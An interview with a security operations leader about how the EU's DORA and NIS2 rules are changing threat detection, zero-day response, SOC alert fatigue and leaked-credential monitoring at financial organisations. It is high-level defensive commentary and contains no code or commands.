On January 17, 2025, the Digital Operational Resilience Act (DORA) came into force in the European Union, strengthening cybersecurity requirements for financial organizations. For banks, exchanges, and insurance companies, it’s no longer enough to document attacks and respond to incidents – regulators now demand proof that an organization can continue providing financial services and recover from disruptions. We spoke with information security expert Alina Gaifulina about how this new reality is transforming SOC operations, why the traditional cybersecurity incident response model no longer works, and what proactive practices help businesses protect their data. Previously, she was leading the Security Operations Center team at a major financial organisation, one of the world’s largest financial corporations, and today she heads operational resilience efforts at an American cyber security consulting firm, whose clients include federal agencies and Fortune 500 companies.
DORA’s entry into force can be considered a new information security standard. You were a SOC team lead at a large fintech company, and today you are among the leadership of the Cyber Fusion Center at a global security consulting firm. How has the approach to threat detection changed during your time in cybersecurity?
Over the years, the approach to threat detection has evolved significantly, largely driven by regulatory pressure and a shift toward operational resilience. In the EU, this change is reflected not only in DORA, which focuses on financial institutions, but also in the newly published NIS2 directive, which applies to organizations operating in sectors considered critical to the European economy. Together, these regulations raise the bar from purely technical security controls to a demonstrated ability to withstand, manage, and recover from cyber incidents.
One of the most notable changes is the increased emphasis on formalized incident reporting and stakeholder communication. When a serious cyber incident occurs today, security teams are required to notify national CERTs and other authorities within clearly defined timelines, which fundamentally changes how detection and escalation processes are designed.
From a detection perspective, this has also led to the implementation of controls that are driven by compliance requirements rather than pure detection fidelity. During my work when DORA was being implemented, for example, we introduced detection rules for scenarios such as system clock manipulation, where an attacker alters timestamps to evade detection and complicate forensic analysis. While such detections may generate low-signal alerts, they are necessary to meet regulatory expectations and ensure traceability. Overall, threat detection has become more structured, compliance-aware, and closely tied to resilience and governance, rather than focused solely on technical accuracy.
Based on your experience responding to incidents at large international organizations, what initial attack vectors do you encounter most frequently today?
One of the most common scenarios remains the absence of multi-factor authentication. A significant portion of incidents begins with credential compromise in environments where MFA is either not implemented or only partially deployed. This is primarily the responsibility of the security architecture team, since it’s at that level where mandatory requirements for protecting critical services and systems should be defined. In practice, unfortunately, even key platforms like Microsoft 365 services are often used without multi-factor authentication enabled for all users. That’s why cybersecurity investments should start with CIS Controls, not with complex and expensive solutions.
Earlier this year, new information emerged about critical vulnerabilities in Ivanti gateways (CVE-2025-0282), reminiscent of the crisis from a year ago. You have extensive experience creating and implementing runbooks for Zero Day vulnerabilities – you worked on this at the HR swiss-french corporation. What should be a SOC’s first actions to prevent panic and minimize damage in such situations?
In the case of a Zero Day vulnerability, the most important first step for a SOC is to fully understand the vulnerability itself before taking any action. This means analyzing which exact versions and components of the affected software are vulnerable, how exploitation works in practice, and what observable indicators it may leave behind. Without this clarity, teams risk reacting emotionally rather than effectively.
The next step is to verify exposure by checking the organization’s asset and inventory systems to confirm whether the affected software is actually present in the environment and whether the vulnerable version or component is in use. In many cases, organizations discover that they are either not impacted or only partially exposed, which immediately helps reduce panic and focus efforts where they matter most.
Detection and response actions then need to be tailored to the specific vulnerability. Zero-day scenarios always differ – for example, during the Log4Shell vulnerability in 2021, effective detection required monitoring application and web logs for malicious lookup patterns, correlating this with unusual outbound network activity from Java applications, and identifying suspicious process behavior on hosts.
The key principle is that informed analysis must come before action. When the SOC follows a structured runbook based on a deep understanding of the vulnerability, the response remains controlled, coordinated, and focused on minimizing real risk rather than reacting to uncertainty.
The latest SANS 2024 SOC Survey showed that 66% of SOC teams can’t handle alert volume. As far as I know, at your previous position at a major fintech organisation, you managed to solve this problem by reducing false positives by nearly half. What other steps should a leader take to protect employees from burnout and maintain high team effectiveness?
Reducing alert volume through continuous tuning is only the first step, but it is a critical one. From my own experience as a SOC analyst, repeatedly investigating the same alerts that are known to be false positives is extremely exhausting. Analysts often recognize the issue, but without a structured process for tuning, the problem persists. As a leader, I consistently encourage analysts to actively report recurring low-value detections and make alert optimization a shared responsibility across the team.
Beyond technical improvements, I place strong emphasis on team development and knowledge sharing. I regularly conduct weekly incident debrief sessions where we review real investigations and notable incidents. These sessions help less experienced analysts learn best practices, understand attacker behavior, and see how complex cases should be handled in a structured way.
I also believe that feedback and quality assurance are essential for long-term effectiveness and motivation. A weekly QA process allows analysts to receive constructive feedback on their investigations, ensures alignment with operational standards, and reinforces a culture of continuous improvement. Together, these practices help prevent burnout, maintain high analytical quality, and keep the SOC operating at a consistently high level.
In the past you worked at the operational level and today you shape detection and response strategies as a leader. It’s no secret that management expectations sometimes diverge from the actual results of the cybersecurity team’s work. Why does this happen and how can it be prevented?
In most cases this happens when management is disconnected from technical reality. Appointing exclusively “managers of managers” to leadership positions – people without deep technical backgrounds – often leads to incorrect expectations, ineffective priorities, and a formalistic approach to security. The best leaders I’ve encountered in the industry started their careers as analysts or engineers. This gives them a deep understanding of processes at all levels, allows them to make realistic decisions, and enables them to speak the same language as their team. This gap can be bridged by developing technically competent leadership, involving leaders in real operational processes, and building a culture where management decisions are based on practical experience, not just KPIs and reports.
You’re involved in cybersecurity not only as a practitioner – you’ve also peer-reviewed scholarly articles for the journal “Actual Research” and have your own publications. What cyber threats do you consider underestimated? What should company leaders pay special attention to in order to avoid becoming the headline of the next major breach?
One of the most underestimated cyber threats I see today is the misuse of leaked or stolen credentials. In many attacks, initial access is not achieved through sophisticated exploits, but through valid credentials that attackers purchase on dark web marketplaces or obtain via underground channels such as private forums or Telegram groups. This risk becomes especially critical in environments where multi-factor authentication is not consistently enforced. I strongly recommend that organizations implement a formal leaked-credential monitoring process. This typically involves cooperation with specialized third-party providers that continuously monitor dark web sources and closed communities for mentions of the company and exposed user credentials. When such data is identified, security teams must validate whether the credentials are legitimate and, if so, immediately reset passwords and assess potential exposure. This is a relatively simple and cost-effective control, yet it can significantly reduce the likelihood of large-scale breaches. For investors and executives, focusing on these practical, preventive measures is often more effective than investing solely in advanced tools while overlooking basic attack vectors that remain highly effective for threat actors.
